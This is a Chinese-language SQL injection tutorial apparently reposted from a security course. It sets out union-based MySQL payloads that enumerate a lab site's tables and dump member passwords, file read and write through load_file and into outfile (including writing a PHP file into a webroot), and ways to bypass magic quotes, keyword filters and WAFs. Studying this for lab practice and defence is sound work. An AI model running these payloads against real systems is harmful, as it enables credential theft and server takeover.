0


5--SQL注入(小迪安全)

简单注入

SQL注入

SQL注入(SQL Injection)是一种常见的Web安全漏洞,形成的主要原因是web应用程序在接收相关数据参数时未做好过滤,将其直接带入到数据库中查询,导致攻击者可以拼接执行构造的SQL语句。

图中可能存在注入的有哪几个?

答:1.2.3

哪个注入测试正确?

答:b、c;
a,在y后面加 and 1=1 实现的是对y的注入,需要在x的后面加and 1=1,才能实现对参数x的注入;
b,对x注入,x是变量,需要x后连接注入语句;
c,y写不写注入语句无所谓,主要是x后写注入语句;
d,没有参数x,没有注入;

SQL注入漏洞对于数据安全的影响

  • 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
  • 网页篡改:通过操作数据库对特定网页进行篡改。
  • 网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
  • 数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
  • 服务器被远程控制,被安装后门:经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
  • 破坏硬盘数据,瘫痪全系统。

知识点

1、在MYSQL5.0以上版本中,mysql存在一个自带数据库名为information_schema,它是一个存储所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或者列名信息。

2、数据库中符号"."代表下一级,如xiaodi.user表示xiaodi数据库下的user表名。

3、

记录所有表名信息的表:information_schema.tables
记录所有列名信息的表:information_schema.columns
表名:table_name
列名:column_name
数据库名:table_schema

判断注入

猜解列名数量(字段数)

order by x 错误与正常的正常值

http://219.153.49.228:42123/new_list.php?id=1 order by 4

报错猜解准备

由上面猜解字段数得到下面(假设有4个字段)
http://219.153.49.228:42123/new_list.php?id=-1 union select 1,2,3,4

信息收集

数据库版本:version()
数据库名字:database()
数据库用户:user()
操作系统:@@version_compile_os

表名

查询指定数据库名mozhe_Discuz_StormGroup下的表名信息:
http://219.153.49.228:43123/new_list.php?id=-1
union select 1,group_concat(table_name),3,4 from information_schema.tables
where table_schema=‘mozhe_Discuz_StormGroup’

列名

查询指定表名StormGroup_member下的列名信息:
http://219.153.49.228:43123/new_list.php?id=-1
union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘StormGroup_member’

数据

查询指定表名StormGroup_member下的数据:
http://219.153.49.228:43123/new_list.php?id=-1
union select 1,name,password,4 from StormGroup_member

MYSQL注入

路径获取常见方法:

报错显示

网站出现错误时,会显示路径;

遗留文件

类似于phpinfo()文件,为了调试信息遗留的文件,命名一般为phpinfo()之类的;
可以用工具扫描到;

漏洞报错

知道对方是用什么脚本程序搭建再去网上去搜索漏洞信息:phpcms爆路径、zblog爆路径;

平台位置文件

搭建平台的配置文件,会记录网站的信息,包括网站储存路径,网站的域名,IP等,需要一些默认路径来进行尝试读取;

爆破

实在获取不到路径,可采用常规思路爆破网站常规路径
windows:d:/wwwroot/xiaodi8
linux:/var/www/xiaodi8

文件读写操作

会用到MySQL数据库里两个内置函数,这两个函数是MySQL数据库特有的,在其他数据库是没有的或者在其他数据库中写法不 同,所以这是为什么说注入点分数据库的原因,因为每个数据库内置的安全机制和它的功能不同,这才导致在注入的时候针对不用的数据库采取的攻击思路也不同。

load_file(): 读取函数
into outfile 或者 into dumpfile:导出函数

1.常见读取文件列表

下述SQL语句的执行,必须依赖于数据库中secure_file_priv参数,该参数指定了数据库导入和导出的安全路径。
需要在mysql的配置文件my.ini文件添加secure_file_priv=‘’

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,load_file(‘d:/www.txt’),3

2.常见读取文件列表及写入文件问题:魔术引导开关

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1
union select 1,‘x’,3 into outfile ‘C:\phpStudy\PHPTuorial\WWW\sqli-labs-master\x.php’–+

魔术引号magic_quotes_gpc是php安全机制开关,在php的配置文件php.ini修改
当magic_quotes_gpc = On时,输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符,都会被加上反斜线,都不会被转义。这些转义是必须的。

绕过方法:可以采用编码或者宽字节,把路径进行十六进制编码,就不需要使用单引号,可以正常解析;

相关防注入方法

1.魔术引导及常见防护

当magic_quotes_gpc = On时,输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符,都会被加上反斜线,从而不会被执行

2.采用内置函数进行防护

addslashes()函数也是和魔术引导一样效果
is_int()函数判断变量
还有更多内置函数也可以进行防护;
正常情况遇到的不多;

3.自定义关键字:select

$ id=str_replace(‘select’,‘fuck’,$id)
php文件中,通过str_replace函数将select转换成fuck; str_replace函数详解
绕过方法:对过滤关键字进行大小写,hex编码,叠写,等价函数替换等等

4.WAF防护软件

安全狗,宝塔等

类型及提交注入

简要明确参数类型

数字、字符、搜索、JSON等;
其中 SQL 语句干扰符号:**',",%,),}**等,具体需看写法

简要明确请求方法

GET、POST、COOKIE、REQUEST、HTTP头等;
不同的请求方式,请求的数据类型、大小都不一样;

标签: sql 安全 网络安全

本文转载自: https://blog.csdn.net/2301_77946674/article/details/140831953
版权归原作者 灯火不休ᝰ 所有, 如有侵权,请联系我们删除。

“5--SQL注入(小迪安全)”的评论:

还没有评论